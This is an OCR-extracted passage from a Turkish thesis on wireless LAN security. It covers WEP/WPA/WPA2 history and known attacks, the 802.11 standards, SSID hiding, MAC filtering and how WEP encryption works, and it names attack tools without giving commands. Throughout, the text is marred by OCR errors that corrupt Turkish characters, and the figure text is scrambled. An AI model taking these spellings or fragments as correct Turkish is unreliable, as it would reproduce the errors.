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1. GIRIS

Kablosuz iletisim teknolojisi; en basit tanimiyla, noktadan noktaya veya bir ag yapisi
seklinde baglant1 saglayan, bir teknolojidir. Bu agidan bakildiginda, kablosuz iletisim
teknolojisi, giinlimiizde yaygin olarak kullanilan kablolu veya fiber optik iletisim
yapilartyla benzerlik gostermektedir. Kablosuz iletisim teknolojisini digerlerinden

ayiran nokta ise; iletim ortami olarak havay1 kullanmasidir.

On y1l 6nce, neredeyse kimse kablosuz interneti duymamustir. Ancak bugiin, Bilisim
teknolojisi biiyiik 0l¢iide kablosuz ag cihazlarinin etkin kullanimiyla kablosuz
baglant1 saglayabilmektedir [1]. Kablosuz Yerel Alan Aglarinda (Wireless Local
Area Network - WLAN), yasanan en biiylik sorunlar, giivenlik ile ilgilidir. WLAN’1n
hava ortaminda yaydigi1 kablosuz iletisim sinyalleri, tiim yonlere es zamanl olarak
hava yoluyla iletilmektedir. Yetkisiz kullanici, WLAN’1n saldiriya agikligindan
faydalanmak i¢in Tcretsiz yazilim araglarini kullanarak bu sinyali kolaylikla
yakalayabilir. WLAN’lar, kablosuz cihazlar i¢in kolaylik, taginabilirlik ve biitceye
uygun fiyatlar ile evlerde ve is ortamlarinda biiyiik 6l¢iide kullanilmaktadir. WLAN,
kullanicilara evde, hava alan1 ve kampiisler gibi etkin ve acik alanlarda tasinabilirlik
ve esneklik saglar. Bu aglarin giivenligini saglamak i¢in giinlimiizde c¢ogunlukla
WEP (Wired Equivalent Privacy) ve WPA (Wi-Fi Protected Access) / WPA2 (Wi-Fi
Protected Accessll) gibi sifreleme yontemleri kullanilir [2]. Bu yontemler, ag i¢cinde
taginan verilerin sifrelenmesine izin verir. Buna ragmen, bilginin kodlandiginin
sOylenmesi, bilgisayar korsanligi uzmanlarinin ille de ona erisemeyecegi anlamina

gelmez [1].

Kablosuz aglar beraberinde giivenlik sorunlarim1 da getirmislerdir. Bilindigi tlizere
kablosuz aglarda iletim ortami olarak hava kullanilmaktadir. Bu, RF sinyalinin
havanin gotiirebildigi yere kadar gidebilmesi anlamina gelmektedir. Bunun disinda,

kablosuz ag teknolojileri de kablolu aglara benzer giivenlik 6zelliklerine sahiptir.



Bu aragtirmada, WLAN teknolojileri ve sorunlari ortaya koyulmustur. Amag,
kablosuz ag giivenliklerine dair genel bir bakis a¢is1 saglamak ve WLAN giivenlik

konularini degerlendirmektir

WLAN iletisimine dair {i¢ ana sifreleme teknolojisi vardir: WEP, WPA ve WPA2.
Bu teknolojiler, Gizlilik, Biitiinliik ve Kimlik Dogrulamay1 saglama konularinda
¢Oziimde bulunur. Ancak, tiim bu isleri basaramazlar vee  WLAN’lar1 disaridan
yapilacak saldiriya karst savunmasiz birakirlar. Yaptiklart is sadece sifrenin elde

edilme siiresinin uzatilmasini saglamaktir.

802.11 aglarinda kullanilan ilk koruma, WEP olarak bilinir. WEP’in giivensizligine
dair ilk arastirma, 2000 yilinda Walker tarafindan yapildi; Walker, WEP’in herhangi
sifre bliylikligiinde giivenli olmadigini ve kablolu ag seviyesinde veri gizliligini
saglamak olan tasarim amacini karsilayamadigini ifade etti. Borisov, 2001 yilinin
basinda biiytik bir ihtilaf ortaya ¢ikaran WEP giivensizligi lizerine ilk ciddi makaleyi
sundu. Sadece bir ay sonra, 2001 yilinda WEP kodlama algoritmas1 RC4 Fluhrer,
Mantin ve Shamir tarafindan kirildi, bu yiizden WLAN giivenliginde kullanilan WEP
kotii bir tine sahip oldu. Fluhrer, Mantin ve Shamir (FMS) WEP tarafindan kullanilan
sifre programlama algoritmasina bir saldiriy1 ifade eden “Weaknesses in the Key
Scheduling Algorithm of RC4" adinda bir makale yayimladirlar. FMS saldirisi
sadece teorik degildi, ger¢ek diinyaya uyumlu hale getirilmesi ¢ok da uzun siirmedi.

Bununla beraber FMS, WEP’in ¢okiisiinii baslatmis oldu [3].

Ancak, bu tamamen deneysel, kullanimi1 kolay olmayan araglar ve yapilmasi zor olan
testler, dis diinyadaki insanlarin kullanimina kapaliydi. Oysa ki, bilgisayar1 olan ve
ag kurma bilgisi olan herkesin Kablosuz LAN’1 hackleme olanagi saglayan Linux

icin BackTrack adinda agik kaynak aracinin siiriilmesi ile degisti.

Bu saldiriya karsi atak yapmak icin ilk girisim, “WEPPlus” ya da WEP+ olarak
adlandirilan daha giivenli WEP versiyonunu gelistiren Agere Sistem tarafindan
yapildi. Normal WEP uygulamalar1 tarafindan iretilen zayif IV miktarin1 biiylik

oOl¢iide disiirdii ve kendi erisim noktalari icin donanim yazilimi giincellemesi olarak



piyasaya striildii [4]. Es zamanda, 2001 yilinda Cisco Aironet WLAN f{iriinlerine
farkli bir yaklasim gelistirmeyi dinamik WEP sifrelerini ortaya ¢ikarmaya karar
verdi. Ne yazik ki, yukarida bahsedilen ¢oziimlerle konu, saticiya 6zel ve birbiriyle
uyumsuz oldugudur. Korek2 olarak bilinen bir bilgisayar korsan1 2004 yilinda WEP
giivenligi hakkindaki Netstumbler forumundaki saldirtya yanit verdiginde WEP i¢in
isler ters gitti. Agikladig: saldiri, zayif IV’e daha fazla bagli degismesiyle ilgiliydi.
Korek saldirisi, istatistiksel kod analizini kulland1 ve FMS saldirisindan daha verimli

oldugunu kanitladi [5].

2007 yilinda, Pyshkin, Tews ve Weinmann tarafindan yeni bir nesil WEP saldirilar
yayimlandi. PTW adindaki saldirilari, bir dakikadan az zaman i¢inde WEP’e girmeye
izin veren yeni kavramlari ortaya koydu. KoreK ve PTW saldirilari, WEP kirma ve
WLAN denetim araglarina hizli bir sekilde uyumlu hale getirildi ve WEP korumali
WLAN’lara saldirmak i¢in standart haline getirildiler [6] .

WEP algoritmasindaki zayiflik ve yapilan degisik saldir tiirleriyle liniinii zehirlemesi
bilisim insanlarint yeni teknolojiler bulmaya yoneltti. Bunlardan ilki donanim
degisikligine gidilmeden sadece algoritma olarak degistirilen ve yeni ismi WPA olan

bir giivenlik protokolii oldu.

2003 yilinda, Kablosuz Korumali Erisim, Wi-Fi Alliance tarafindan stiriildii. Standart
degildi, ancak zamaninda kablosuz giivenlige gecici bir ¢oziim saglamak icin
kullanild1. Bu siire boyunca, kurumlar kablosuz aglarin1 korumak i¢in WPA’lar

alternatif bir giivenlik ¢6zlimii olarak kullandilar.

WLAN‘lardaki artan giivenlik seviyesi, WEP gibi giivenlik algoritmalarinin
aciklarinin ortaya ¢ikmasit ve yayginlasmasi ile WPA giivenlik algoritmasi
gelistirildi. WPA {izerine ¢alisma, WEP’in ihlalinin ilk raporlarindan sonra hemen

bagslatildi ve sonrasinda diinya ¢apinda yayildi [7].



WPA sifreleme, WEP’ten daha giivenli ve saldirilara daha dayanikli olsa da WEP
sifre algoritmasinin ¢alistig1 bir donanim tizerinde c¢alistirabilir. Buna ragmen, WPA,
WEP’in agikligindan daha fazlasini paylagmistir. Takashi 2004 yilinda, WPA’ya
kars1 kaba kuvvet ¢evrim dis1 sozliik saldirisina izin veren kavram kanitlama olan
WPACcrack adi verilen bir ara¢ gelistirmistir [8]. Wi-Fi Alliance’in yirmi karakterden
uzun sifrelerin kullanilmasi yoniindeki ©nerisinin, WPA kullanicilar1 tarafindan
pratikte biiyiik olasilikla uygulanmayacagini belirtmistir.

Ne yazik ki cogu kisi, uzun sifrelerin olusturulmasina ve gelecekte meydana

gelebilecek sonuclarina gereken 6nemi vermez.

2009 yilinda McMillan, 6nceden paylasilmis anahtarin (PSK) giivenli olmadigini
kisa ve giivensiz sifrelerin WEP ile hemen hemen ayni derecede dezavantajh

oldugunu bildirmistir.

2004 yilin sonunda, Elektrik Elektronik Miihendisligi Kurumu (IEEE) yeni bir
kimlik dogrulama protokolii olan — Gelismis Sifreleme Standardi (AES) ile Sifre
Blok Zincirleme Mesaj1 Kimlik Dogrulama Kod Protokoliine sahip (CCMP) Sayag
Modu olarak adlandirilan ¢ok giiclii bir kodlama modu ortaya koydular. Sonugta,

WLAN giivenligi olgunlasti ve giivenli ¢oziim ve iin saglanirmistir [2].

2008 yilinda, giivenlik arastirmacilar1 Beck ve Tews, WPA2’y1 kismen kirmak i¢in
sistematik bir yol gelistirdiklerini bildirdiler. Bu saldir1 6ncesinde, bilinen diger
yontemler, zayif bir sekilde segilen dnceden paylasilmis anahtara karsi bir sozliik
saldirisin1 igermistir. Ancak yeni saldirt metodu, WPA2’ye ufak bir tehdit
olusturmustur olsa da, AES’e kars1 etkili olmadig1 goriilmiistiir. [9].

2011 yilinda Kizza, WPA2 protokoliiniin frekans sikigmasi, hizmet biitiinlesme ya da
kimlik dogrulama ve baglant1 kuramama ataklar1 gibi saldirilara karsi korumay1 tam

manastyla yapamadigini kaydetmistir [10].



Aralik 2011 yilinda, kablosuz erisim noktasi cihazlarina karsi Cisco, D-Link, Netgear
ve benzeri pek ¢ok erisim noktasi saglayicisi tarafindan uygulanan Kablosuz
Korumali Kurulumun (WPS) 6zelliginin zayifligin1 kullanan yeni bir saldiri
bulunmustur. Zayiflig1 bulan Stefan Viehbock, tehdit hakkinda ayrintili bir sekilde
bilgi vermisti, WPA2 anahtar1 gibi hassas konfigiirasyon verilerine erisim saglamak
icin kablosuz erisim noktasinin WPS uygulamasmnin nasil kaba kuvvet
kullanabilecegini agiklamaktadir. Basarili bir saldiri, kablosuz cihaza bagli olarak 4
ila 10 saat yiritiilebilir. Bu tiir saldirilar1 daha kolaylastirmak i¢in bir dizi arag

vardir. Bu araglardan biri BackTracktaki Reaver’dir .

Bu tezin geri kalan kismi asagidaki boliimden olusur; 2. kisimda, kablosuz aglarin

avantaj - dezavantajlar1 ve kullanilan standartlar1 802.11 a,b,g,n incelenmistir.

3. kisimda, 802.11 standardini kullanan kablosuz yerel alan aglarindaki gilivenlik
mekanizmalar1 incelenmistir; giivenlik aciklar1 ve sistemin zayifliklar1 ve aga yapilan
saldirilarin neler oldugu ele alinmistir. 4. kisimda, kablosuz bir ag iizerinde farkli
giivenlik mekanizmalar1 yapilandirilip, bu aga saldirilar gerceklestirmek suretiyle
BackTrack 5 araglart kullanarak uygulamalar yapilmistir. WEP’in ne kadar kolay
kirilabilecegi gosterilmistir, WPA/WPA2 algoritmas1 kullanan kablosuz aglara
saldirilar yapip sonuclart gozlenmistir. 5. kisimda tezin sonug¢ ve Onerileri yer

almaktadir.

Bu tezin temel amaci; kablosuz aglarin bireysel olarak kullanimdan en kapsamli ve
gelismis kurumsal kullanim alanlarina kadar, giivenli bir kablosuz yerel alan agi
olusturmak icin izlenmesi gereken politikalar1 belirlemek ve olasi saldirilara karsi
alinmasi gereken dnlemleri irdelemektir. Kablosuz ag kullaniminin getirdigi glivenlik
zafiyetlerini gostererek ve bu agiklardan faydalanarak kablosuz bir aga dahil olmanin
yollar1 gosterilmistir. Bu sekilde kablosuz ag kullanimin giivenlik alaninda bireylere

farkindalik kazandirmasi hedeflenmistir.



2. KABLOSUZ AGLAR

Kablosuz kelimesi genel bir terimdir, bir noktadan baska bir noktaya bakir kablo gibi
fiziksel bir baglant1 kullanmadan yapilan veri, ses veya goriintii tasinmasina denir
[11]. Birden ¢ok bilgisayarin birbirine bagli olarak kullanilmasiyla olusturulan
calisma bigimine, bilgisayar agi (Computer Network) denir. Bir bilgisayar aginda
cok sayida bilgisayar yer alir. Bu bilgisayarlar; yan yana duran iki bilgisayar

olabilecegi gibi, tiim diinyaya yayilmis binlerce bilgisayar da olabilir.

Bilgisayar aglarinin ilk uygulamalar1 1960’11 yillarin sonlarinda baglamistir. Ancak
yerel bilgisayar aglarimin yayginlagmasi 1980’li yillarda baslamis ve gelismistir.
1980’11 yillarda, kisisel bilgisayarlarin ¢ogalmasi, bilgisayar teknolojisindeki ve
iletisim teknolojilerindeki gelismeler bilgisayar aglarinin daha yararli olmasini
saglamigtir. Bu aglar; 6zel amach, egitim amacl, ulusal veya halka agik olarak
kurulabilirler. Kablolu iletisim teknolojilerine kiyasla bir¢ok iistiinliigi bulunan
kablosuz iletisim teknolojilerin 1990’11 yillarda biiyiik gelismelere sahne olmustur
[12].

Kablosuz aglar, kablo limiti olmaksizin geleneksel ag teknolojilerinin biitiin imkan
ve avantajlarin1 saglar. Kablosuz sistemler tamamiyla kablodan arimmmis vaziyette
degildir. Bu sistemler geleneksel aglara baglanmak {izere, standart mikroiglemciler
ve sayisal devreler kullanirlar. Kablosuz aygitlar, kodlama, sikistirma, tasima ve

sinyal alma islemleri i¢in gelistirilmektedirler [13].

Genelde kablosuz aglarda kullanilan aygitlar, tasinabilir bilgisayar, masaiistii
bilgisayar, el bilgisayari, kisisel sayisal yardimc1 (PDA-Personal Digital Assistant),
cep telefonu ve c¢agr cihazlarim1 kapsamaktadir. Kablosuz teknolojiler bir¢ok
kolaylik saglar. Ornegin cep telefonu kullanicilari, e-postalarina erismek icin cep
telefonun kablosuz aglara baglanma 6zelligini kullanabilirler. Tasinabilir bilgisayar
ile seyahat edenler, hava alanlarinda, tren istasyonlarinda ve diger genel noktalarda

kurulu baz istasyonlar1 araciligiyla internete baglanabilirler. Evdeki kullanicilarsa



veri esitleme ve dosya aktarimi i¢in masaiistlerindeki aygitlarla baglanabilirler [14].

Sekil 1°de kablosuz ag sistemleri ve kullanim alanlar1 gosterilmistir.
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Sekil 2.1. Kablosuz sistemin kullanim alanlar1

2.1. Kablosuz Aglarin Avantajlar:

e Tasmabilirlik: Kablosuz aglarin yasantimiza en biiylik katkisi, sliphesiz ki
kablo olmaksizin sundugu erisim imkanidir. Bu sayede aga bagli olan
kisilerin sabit bir yere bagli kalma zorunlulugu yoktur. Bu insanlara biiyiik

bir ol¢lide 6zgiirliik saglamakta ve verimligi arttirmaktadir [15].

¢ Kolay kurulum: Kolay kurulumun da kendi iginde iki faydas: vardir :
- Zaman: Radyo dalgalar ile iletisim yapilmasindan dolay1 kablolu bir ag
tasarimindan 6nce gerekli olan kablolama plan1 ve kablolama islemi i¢in

harcanan zamandan kazanilmis olur.

- Maliyet: Yukarida belirtildigi gibi kablolama yapilmadigi i¢in kablo maliyeti

ag kurulumunda yer almamaktadir.



e lsletme Kolayligi: Kablo koptu, yerinden ¢ikt1 gibi dertler yasanmaz. Hub ve

anahtar ilaveleriyle yeni kablolara yer agma sikintis1 yoktur.

2.2. Kablosuz Aglarin Dezavantajlar:

e Giivenlik: Yapilan iletisim dalgalar halinde yayildigr icin davetsiz
misafirlere agiktir. Ozel tedbirler alinmadig siirece ag trafiginin dinlenmesi

ve izlenmesi ¢ok kolaydir.

o lletisim Kalitesi: Dis diinyadaki birgok sinyal kaynagindan
etkilenebileceginden iletisim kalitesi, dalga girisimine bagli olarak diisebilir.
Ayrica ¢ok noktadan saglanan erisimler i¢in dikkatlice hazirlanmis hiicre

planlamasi gerektirir.

e Standartlara Uyma Zorunlulugu: Uretilen cihazlarm tiim diinya
standartlarinda olmas1 gerekmektedir. Uluslararas: enstitiiler bazi konularda
sinirlamalar getirmekte ve bu da gelismelerin daha yavas olmasina neden

olmaktadir [15].

2.3. Kablosuz Ag Standartlar

Ik olarak WLAN aygitlar1 diisiik hizlar1, standart eksikleri ve yiiksek maliyetleri ile
kullanish degildi. Toplam bant genisliginin 1-2 Mbps gibi bir hizla kisitli olmasi,
farkli firmalar tarafindan tiretilen ag arayiiz karti (Network Interface Card - NIC) ve
erisim noktalarinin (Access Point - AP) birbirleri ile uyumlu c¢alisamama
probleminden dolay1 tercih edilmiyordu. Ancak 2000’li yillardan itibaren,
standartlagmayla birlikte WLAN sistemleri hizla yayilmaktadir. Ciinkii standartlagsma
sonucunda bir ¢ok marka WLAN donanimi ayni1 kablosuz ag icinde
kullanilabilmektedir. Buglin Wi-Fi (Wireless Fidelity/Kablodan bagimsizlik)
kablosuz aglar i¢in endiistri standartt1 olarak yaygin sekilde kullanilmaktadir [15,16].



Kablosuz iletisim teknolojisinin biiyiik kitleler tarafindan kabul gorebilmesi igin,
cihazlarin iiretici firmalar1 arasindaki uyum ve giiveni saglayan endiistri standartlar
gelistirilmesi ile birlikte, ¢esitli standartlar olusturulmustur. En cok tercih edilen

standartlar asagidaki gibidir.

2.3.1. IEEE 802.11 standartlar:

IEEE, OSI (Open System Interconnection) referans modeline gore veri baglanti
katmanin1t MAC (Media Access Control ) ve LLC (Logical Link Control) olarak iki
alt katmana ayirmistir. Bunun nedeni tist katmanlarin, ag donanim yapisina ve tiiriine
bakmaksizin ayni arabirimle ¢alisabilmesini saglamaktir. 802.11, 1997 yilinda
standart olmustur. 802.11 IEEE tarafindan kablosuz aglar icin gelistirilmis bir
standarttir. i1k gelistirilen standart olan 802.11; 2.4 GHz frekansinda, saniyede 1 Mb
veya 2 Mb veri transferine izin verir. Bu standardin fiziksel katmanda, FHSS ve
DSSS olmak iizere kullandigi iki farkli modiilasyon yontemi bulunmaktadir. Bu
yontem ile elverisli ortamlarda FHSS ile 2 Mbps, sinyal giiriiltiisii olan ortamlarda
ise DSSS ile 1 Mbps veri iletim hizlar1 saglamaktadir. Giiniimiizde kullanilan

teknolojiler 802.11a, 802.11b, 802.11g, 802.11n standartlaridir [16].

LLC
WVeri baglant: katmam !’, 802.11
MAC (CSMA/CA)
Fiziksel katman | =P 802.11
(FHSS. DSSS)

Sekil 2.2. OSI referans modeli ve 802.11 standardi
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2.3.2. IEEE 802.11a standardi

802.11a standardi 1999 yilinda kablosuz Asenkron Transfer Modu (ATM) i¢in
gelistirilmistir. 802.11 standardi; 5 GHz bandinda, 54 Mbps bant genisligi sunan
WLAN teknolojisidir. Bu standardin kullanim bulacagi alanlar, verilerin ve igerigin
yiiksek veri hizlarinda iletilmesi gereken durumlarda kullanilir. Bu standart; birgok
iilkede, sivil amagclar i¢in kullanimi kisitlanan 5 GHz bandinda calismasi ve diger
standartlardan farkli olarak {iretilmesi ve bunun sonucunda pahali oldugu i¢in ¢ok

tercih edilen bir standart degildir.

2.3.3. IEEE 802.11b standardi

802.11b standard1 1999 yilinda tamamlanmis ve 2001 yilindan itibaren kablosuz {iriin
pazarinda yer almistir. 802.11b standardi 2.4 GHz bandinda, 11 Mbps bant genisligi
sunan bir teknolojidir. Kapsama alan1 kapali alanlarda 30 — 45 metredir. Bu standart;
genelde ofisler, hastaneler, fabrikalar gibi yerlerde kullanilmaya uygundur. 802.11b;
WLAN’lar, tasmabilirligin gerekli oldugu ve orta hizli ag baglantilarina ihtiyag
duyulan alanlarda kullanilir [17].

2.3.4. IEEE 802.11g standardi

802.11g standard1 2003 yilinda adin1 verdigi yeni bir kablosuz iletisimi duyurmustur.
2.4 GHz frekans spektrumunu kullanir ve maksimum 54 Mbps bant genisligine
sahiptir. 802.11b’nin gelistirilmis halidir de denilebilir. Teknolojik olarak 2.4 GHz
bandinda calistig1 i¢in; onun 6zelliklerini tasir, ancak toplam 54 Mbps bant genisligi

sunar. Cizelge 2.3’te 802.11 standartlarinin karsilastirilmasi gosterilmistir.
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2.3.5. IEEE 802.11n standardi

802.1In standardi 2007 itibariyle tamamlanmamasina ragmen gelistirilme
asamasinda taslak duyurulmustur. IEEE 802.11n: su anda taslak asamasinda,
maksimum veri transfer hizin1 540 Mbps ¢ikarmaya, bunun yaninda es zamanlh ¢oklu
veri iletisimi yapilmasina imkan taniyan yeni bir standarttir. Kablosuz aglar
yapilanma sekillerine gore altyapisiz aglar ve altyapili kablosuz aglar olarak iki

kisimda calismaktadir.

Cizelge 2.1. IEEE 802.11 standartlarinin karsilastirilmasi

Kablosuz Standartti 802.11b 802.11a 802.11g 802.11n
Kullanim Oram Yaygin Kisith Yaygin Yaygin
Hiz 11Mbps 54Mbps 54Mbps 540Mbps
Ortalama Maliyet Diistik Yiiksek Yiiksek Yiiksek
2.4GHz
Frekans 2.4 GHz 5 GHz 2.4 GHz veya
5 GHz
Kapsama
30-45 25-175 30-45 50-125
Alami(Metre)
Acik Erisim Cok az
Yaygin Yaygin Yaygin
Noktalari (pahali)

802.11gile 802.11b,gile 802.11bile 802.11a,b,g
Uyumluluk .
uyumlu uyumsuz uyumlu ile uyumlu
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3. KABLOSUZ AGLARDA GUVENLIK TEKNOLOJILERI

Kablosuz aglarin kullanildigr ilk yillarda giivenlik biliyiik bir sorun olarak
gorilmemekteydi. Donanimlar iireticilere 6zel, pahali ve bulmasi zordu. Kablosuz
aglarin yayginlasmasiyla giivenlik amagli yapilan ¢alismalar, kablosuz aglara
saldirllarin artik kolay olmadigini gostermistir, yetersiz algoritmalarin yerini daha
kuvvetli algoritmalar almistir. Kablosuz istemciler ve erisim noktalari {izerinde etkin

olan birkag gilivenlik seviyesi asagidaki sekilde gosterilmektedir [18].

Baslangic

Degisim Varsayilan

Sifre ve Ip

Yaym Kapatmak

SSID Diizenli
Degistirmek

MAC Adresi

Filtreleme

Sifreleme
Tiiri

WPA WEP

Sekil 3.1. Kablosuz giivenlik seviyeleri
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3.1. Servis Seti Tanimlayici (SSID-Service Set Identifier)

Servis seti tanimlayict (SSID), kablosuz agin mantiksal adidir. Kablosuz aga
baglanmak isteyen kablosuz cihazlara agin kimligini verir. SSID, istemci ve erisim
noktalarina girilebilen 1’den 32’ye kadar ASCII dizgidir. SSID olmadan asla bir
WLAN’e baglant1 kurulamaz. Baz1 erisim noktalar1 SSID yayinlama ve secilen bir
SSID’ye izin verme gibi seceneklere sahiptir. Herhangi bir SSID secenegini
kullanmak erisim noktasinin bos SSID’li bir isteminin erisimine izin verir. ilk kusak

kablosuz aglar SSID’yi giivenligin temel sekli olarak kullanmiglardir [19].

1. Araghma [sted

2. Arastma Cevahi
3. Dogrulama lsted , Vere] Ag
4, Dognilama Ceraly
5
6

L

 lligkilendirme [ste) ————»
. igkilendirme Cevaby

Tsterncs -—

Ertsim Mektan

Sekil 3.2. 802.11 istemci dogrulama siireci

3.2. SSID Yaymnin Onlemek

Bir WLAN’a baglanabilmenin temel sartlar1 arasinda SSID tanimlayicisinin
bilinmesi yer alir. Terminal ve erisim noktalarina SSID bilgisi statik olarak elle
tanimlanabilecegi gibi, SSID bilgisinin erisim noktasi tarafindan yaymlanmas: da

saglanabilir.

WLAN servisleri igin, erisim noktalarinin SSID yaymi yapmasi isletmenin
gerekliligi olarak diisiiniilebilir. Ancak, ev veya ofis tiirii WLAN’lar i¢in SSID
yayminin yapilmasi bir gereklilik degildir. Fakat bu tiir WLAN’lar kullanicilar1 belli
oldugundan SSID tanimlayicis1 tiim terminallere elle girilebilir. Nispeten kiiciik
WLAN’lar i¢in SSID tanimlayicisini terminallere elle girmek c¢ok zor bir islem

degildir. NetStumbler, Airodump gibi bir¢ok arag, SSID tanimlayicisint bulup
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gosterebilir. Agda, giivenlik ve kimlik denetim servisleri kullanilmiyorsa sadece
SSID bilgisi ile iiclincli sahislar aga erisebilir. Bu nedenle, gilivenlik servislerinin
durumuna bagli olarak SSID bilgisinin yaymlanmast bir glivenlik a¢ig1 olarak

diistiniilebilir [19].

3.3. MAC Adresi ile Dogrulama

MAC tabanli dogrulama 802.11 standardinda tanimlanmistir. Bununla birlikte bircok
tedarikci MAC tabanli dogrulamayr uyarlamistir. Tedarik¢ilerin ¢ogu basitce, her
erisim noktasinin gecerli bir erisim kontrol listesi olmasina ihtiya¢ duyarlar. Bazi
tedarik¢iler erisim noktasinin merkezi sunucu tzerindeki MAC adres listesini
sorgulamasina izin verirler. Erisim kontrol listeleri, kullanicinin ag1 kullanmasini bu
erisim kontrol listelerine gore sinirlandirirlar. Eger kullanicinin MAC adresi listede
varsa ve aga ulagim i¢in izin verilmisse ag kaynaklarina erisime izin verilir. Farkli

durumda erisim engellenecektir.

Kullanici erisim noktasina dogrulama istegi gonderir.
Erisim noktasi, kullanicinin MAC adresini dogrulama sunucusuna gonderir.

Sunucu kabul ya da ret cevabini erisim noktasina gonderir.

S

Erigim noktas1 kullaniciy1 dogrular.

— 1. Tnghdlendirme Istedi —— 2. Istemei MAC Adresi —

/ g,

Erisim Nok: 5
Tsteme nigim INoktast Dogrulama Sunucusu

«— 4 igkilendime CevabiBasanl)~  «—3. Sumou Kabul Cevabs
Sekil 3.3. MAC adresi ile dogrulama
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3.4. 802.11 Giivenlik

Bir kablolu agda; kimlik denetimi yapmanin ilk yolu, kullanicinin aga giris
yapabilmek i¢in asmasi gereken fiziksel engeller uygulamaktir. Boyle engeller,
sinyalleri bir binanin duvarlarinin 6tesinde dolasan kablosuz aglar i¢in uygun
degildir. Bir gilivenlik mekanizmasi, kablosuz ag1 koruyacak bir yere
yerlestirilmelidir. Kablosuz agdaki giivenlik 802.11 olarak adlandirilir. 802.11°in
esas giivenlik mekanizmasi olan WEP’i (Wired Equivalent Privacy) kirmanin ne
kadar kolay olduguna dair bilgiler ¢oktur. WEP protokolii, 802.11°in orijinal
giivenlik mekanizmasidir. WEP, yetersizliklerinden dolayi, sifrelemeyi saglamak
amactyla kablosuz aglarda nadiren kullanir, onun yerine girisin kontrolii tescilli
yontemlerle yapilir. 802.111 giivenlik standardi; WEP protokoliindeki zayifliklarin
diizeltilmesi i¢in, WEP {izerinde yapilan degisikliklerle elde edilmistir. Ancak bu
degisimi desteklemek i¢in yeni ve daha gii¢lii erisim noktasina ve gelistirilmig
donanimlariyla yeni mobil istasyonlara gerek duyulacaktir. Bu nedenlerden dolay: ;
Wi-Fi konsorsiyumu, Wi-Fi Protected Access (WPA) diye adlandirilan bir ara
giivenlik ¢oziimii tanimlamistir. WPA 802.11°nin bir tiirevidir. Ikisi de 802.1X

standardina benzer calisirlar.

3.5. Giivenlik Anahtar

Gilivenlik anahtari, Kabloluya Esdeger Gizlilik (WEP) anahtarmi veya Wi-Fi
Korumali Erisim (WPA) anahtari, Cok Giivenli Ag (WPA?2) sifresini ifade eder.
Giivenlik anahtari, agin yetkisiz kullanimini1 6nlemek {izere kablosuz ag giivenligini
saglamak icin kullanilir. Yonlendirici veya erisim noktasinda yapilandirilir ve
kablosuz aga erisen her kablosuz aygita ayni anahtarin girilmesi gerekir. Aygitlarin
dogru giivenlik anahtar1 yoksa kablosuz agda iletisim kurmalarina izin verilmez.
WEP en diisiik diizeyde giivenlik saglarken, WPA daha yiiksek giivenlik saglar.
WPA'dan daha iyi bir sifreleme yontemi kullanan WPA2, kii¢lik ve kablosuz aglarin
cogu icin en iyi giivenlik secenegidir. Yonlendirici (Router) yeniyse, ii¢ gilivenlik

tiirtintin (WEP, WPA ve WPA?2) hepsini desteklemektedir. Daha eski yonlendiriciler



WEP ve WPA'y1 destekleseler de WPA2'yi desteklemezler. Birkag yillik kablosuz
ekipman biiyiik ihtimalle yalnizca WEP'i destekleyebilir [20].

ASCII (American Standard Code for Information Interchange) Amerikan karakter
kodlama sistemidir. ASCII sisteminde 33 tane yazilamayan karakter ve 95 tane

yazilabilen karakter bulunur. Farkli glivenlik protokollerinde anahtar olarak ASCII

karakterler kullanilmaktadir.

Giivenlik Ozellikler
Anahtari
WEP Tam 10 veya 26 onaltilik karakterden olugsmalidir. Onaltilik
karakterler: A-F, a-f ve 0-9.
veya

Tam 5 veya 13 ASCII karakterinden olusmalidir. ASCII
karakterleri, klavyede bulunan harfler, sayilar ve sembollerdir.

Cizelge 3.1. Giivenlik anahtarin 6zellikleri

3.5.1. Kabloluya esdeger gizlilik (WEP-Wired Equivalent Privacy)

Wired Equivanlent Privacy (WEP), orijinal 802.11 giivenlik tanimlamasidir. Bilgi;
agin kablosuz kisminda ilerlerken, bilgiyi korumak i¢in tasarlanmigtir. WEP, erisim
noktasiin oOtesinde koruma saglamaz ve 802.11a,b,g,n standartlar1 icin giivenlik
saglar. WEP’in teknik altyapis1 Ron Rivest tarafindan bulunan RC4 (Rivest Cipher)
akis sifreleme algoritmasima dayanir. RC4’lin amaci, verilen bir gizli anahtar ile
genis uzunlukta rastgele sayilar liretmek ve daha sonra bu akisla gondericide diiz
metin mesaj1 sifrelemektir. Alici, verilen anahtarla ayn1 akigi liretebilecek ve alinan

mesajin sifresi ¢oziilebilecektir [21].



17

WEP in calismasi su sekildedir: [22]

1. Veri bitiinliigiinii saglamak amaciyla, veri bir dogrulama algoritmasina
(Integrity Check) tabi tutularak, dogrulama bitleri (ICV — Integrity Check
Value) elde edilir.

[\S)

. Bu dogrulama bitleri verinin sonuna eklenir.

W

. 24 bitlik IV(Initialization Vector) statik anahtarin basma eklenir; 64 bitlik
paket olusturulur.

64 bitlik bu paket statik RC4 (Rastgele Sayr Uretici — Pseudo Random

&

Number Generator - PRNG ) algoritmast ile sifrelenir.

5. Ikinci adimda elde edilen veri ile dérdiincii adimda elde edilen veri bir XOR
isleminden gecer.

6. Elde edilen bu verinin basina tekrar IV eklenir ve iletilecek sifreli veri elde
edilir. Sifreli verinin elde edilmesi sekil 3.4’te gosterilmistir. Elde edilen bu
verinin basina, alici ve vericinin MAC adresi eklenerek kablosuz ortama

gonderilir.

~

. Sifreli veri, kars1 tarafta ayn1 islemler tersi yonde uygulanarak agilir.

v b

Rl
2
‘
R

XOR ()
| Ve ] Ven | 1cv |
1cv
v
mac] »iMac| Iv | Sificleumis Ven

Sekil 3.4. WEP sifreleme akis diyagrami
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Zayifliklar:

Dogrulatma: Ag1 dinleyen saldirgan, erisim noktasindan agik metin ve

istemciden sifrelenmis metni elde edebilir.

Tekrar saldirilari: WEP’te tekrar saldirlar i¢in herhangi bir giivenlik 6nlemi
yoktur. Ayni mesaj defalarca gonderilebilir ve bu alic1 tarafindan anlasilamaz.
Sisteme giris yapan bir kullanici sistemden ¢iktiktan sonra dinlenilen mesajlar
dogrulayiciya gonderilirse araya giren kisi, mesaj igerigini bilmese de kendini

dogrulatabilir.

Bit degistirme: ICV biitlinliikk kontrol verisinin olusturulma seklinden
kaynaklanmaktadir. ICV lineer bir metotla olusturulup asil verinin sonuna

eklenip sifrelenmektedir.

IV’lerin tekrar kullamlmasi: IV 24 bittir, 2** den yaklasik olarak 17 milyon
farkli IV olusabilir. Tekrarlanmadan birer artirarak kullanildiginda 802.11b
